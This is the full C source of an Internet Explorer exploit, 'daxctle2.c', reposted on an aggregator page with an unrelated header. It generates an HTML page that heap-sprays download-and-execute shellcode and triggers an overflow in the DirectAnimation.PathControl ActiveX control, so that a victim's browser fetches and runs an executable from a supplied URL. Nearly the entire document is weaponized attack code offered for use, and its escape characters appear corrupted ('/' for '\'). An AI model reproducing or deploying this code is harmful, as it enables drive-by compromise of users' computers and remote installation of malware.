Internet Explorer COM Object Heap Overflow Download Exec Exploit

来源：互联网发布：mysql查询表空间大小编辑：程序博客网时间：2024/05/17 08:55

/*
*-----------------------------------------------------------------------
*
* daxctle2.c - Internet Explorer COM Object Heap Overflow Download Exec Exploit
* !!! 0day !!! Public Version !!!
*
* Copyright (C) 2006 XSec All Rights Reserved.
*
* Author : nop
* : nop#xsec.org
* : http://www.xsec.org
* :
* Tested : Windows 2000 Server SP4 CN
* :     + Internet Explorer 6.0 SP1
* : Windows XP SP2 CN
* :     + Internet Explorer 6.0 SP1 (You need some goodluck! :-)
* :
* Complie : cl daxctle2.c
* :
* Usage     :d:/>daxctle2
* :
* :Usage: daxctle <URL> [htmlfile]
* :
* :d:/>daxctle2 http://xsec.org/xxx.exe xxx.htm
* :
*
*------------------------------------------------------------------------
*/

#include <stdio.h>
#include <stdlib.h>

FILE *fp = NULL;
char *file = "xsec.htm";
char *url = NULL;

// Download Exec Shellcode by nop
unsigned char sc[] =
"/xe9/xa3/x00/x00/x00/x5f/x64/xa1/x30/x00/x00/x00/x8b/x40/x0c/x8b"
"/x70/x1c/xad/x8b/x68/x08/x8b/xf7/x6a/x04/x59/xe8/x43/x00/x00/x00"
"/xe2/xf9/x68/x6f/x6e/x00/x00/x68/x75/x72/x6c/x6d/x54/xff/x16/x95"
"/xe8/x2e/x00/x00/x00/x83/xec/x20/x8b/xdc/x6a/x20/x53/xff/x56/x04"
"/xc7/x04/x03/x5c/x61/x2e/x65/xc7/x44/x03/x04/x78/x65/x00/x00/x33"
"/xc0/x50/x50/x53/x57/x50/xff/x56/x10/x8b/xdc/x50/x53/xff/x56/x08"
"/xff/x56/x0c/x51/x56/x8b/x75/x3c/x8b/x74/x2e/x78/x03/xf5/x56/x8b"
"/x76/x20/x03/xf5/x33/xc9/x49/x41/xad/x03/xc5/x33/xdb/x0f/xbe/x10"
"/x3a/xd6/x74/x08/xc1/xcb/x0d/x03/xda/x40/xeb/xf1/x3b/x1f/x75/xe7"
"/x5e/x8b/x5e/x24/x03/xdd/x66/x8b/x0c/x4b/x8b/x5e/x1c/x03/xdd/x8b"
"/x04/x8b/x03/xc5/xab/x5e/x59/xc3/xe8/x58/xff/xff/xff/x8e/x4e/x0e"
"/xec/xc1/x79/xe5/xb8/x98/xfe/x8a/x0e/xef/xce/xe0/x60/x36/x1a/x2f"
"/x70";

char * header =
"<html>/n"
"<head>/n"
"<title>XSec.org</title>/n"
"</head>/n"
"<body>/n"
"<script>/n"
"shellcode = unescape(/"%u4343/"+/"%u4343/"+/"%u4343/" + /n";

// Change this script by yourself.
char * footer =
"bigbk = unescape(/"%u0D0D%u0D0D/");/n"
"headersize = 20;/n"
"slackspace = headersize + shellcode.length/n"
"while (bigbk.length < slackspace) bigbk += bigbk;/n"
"fillbk = bigbk.substring(0, slackspace);/n"
"bk = bigbk.substring(0, bigbk.length-slackspace);/n"
// bk = nop+nop;-)
"while(bk.length+slackspace < 0x40000) bk = bk + bk + fillbk;/n"
"memory = new Array();/n"
"for (i=0;i<800;i++) memory[i] = bk + shellcode;/n"
"var target = new ActiveXObject(/"DirectAnimation.PathControl/");/n"
"target.KeyFrame(0x7fffffff, new Array(1), new Array(65535));/n"
"</script>/n"
"</body>/n"
"</html>/n";

// print unicode shellcode
void PrintUc(char *lpBuff, int buffsize)
{
int i,j;
char *p;
char msg[4];

for(i=0;i<buffsize;i+=2)
     {
if((i%16)==0)
{
if(i!=0)
{
printf("/"/n/"");
fprintf(fp, "%s", "/" +/n/"");
}
else
{
printf("/"");
fprintf(fp, "%s", "/"");
}
}

printf("%%u%0.4x",((unsigned short*)lpBuff)[i/2]);

fprintf(fp, "%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
}

     printf("/";/n");
     fprintf(fp, "%s", "/");/n");

fflush(fp);
}

void main(int argc, char **argv)
{
unsigned char buf[1024] = {0};

int sc_len = 0;

        if (argc < 2)
{
      printf("Internet Explorer COM Object Remote Heap Overflow Download Exec Exploit/n");
      printf("Code by nop nop#xsec.org, Welcome to http://www.xsec.org/n");
      //printf("!!! 0Day !!! Please Keep Private!!!/n");
printf("/r/nUsage: %s <URL> [htmlfile]/r/n/n", argv[0]);
exit(1);
}

url = argv[1];

//if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) < 10 || strlen(url) > 60)
        if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) < 10)
        {
            //printf("[-] Invalid url. Must start with 'http://','ftp://' and < 60 bytes./n");
            printf("[-] Invalid url. Must start with 'http://','ftp://'/n");
            return;
        }

     printf("[+] download url:%s/n", url);

     if(argc >=3) file = argv[2];
     printf("[+] exploit file:%s/n", file);

fp = fopen(file, "w");
if(!fp)
{
     printf("[-] Open file error!/n");
        return;
}

// print html header
fprintf(fp, "%s", header);
fflush(fp);

// print shellcode
memset(buf, 0, sizeof(buf));
sc_len = sizeof(sc)-1;
memcpy(buf, sc, sc_len);
memcpy(buf+sc_len, url, strlen(url));

sc_len += strlen(url)+1;
PrintUc(buf, sc_len);

// print html footer
fprintf(fp, "%s", footer);
fflush(fp);

printf("[+] exploit write to %s success!/n", file);
}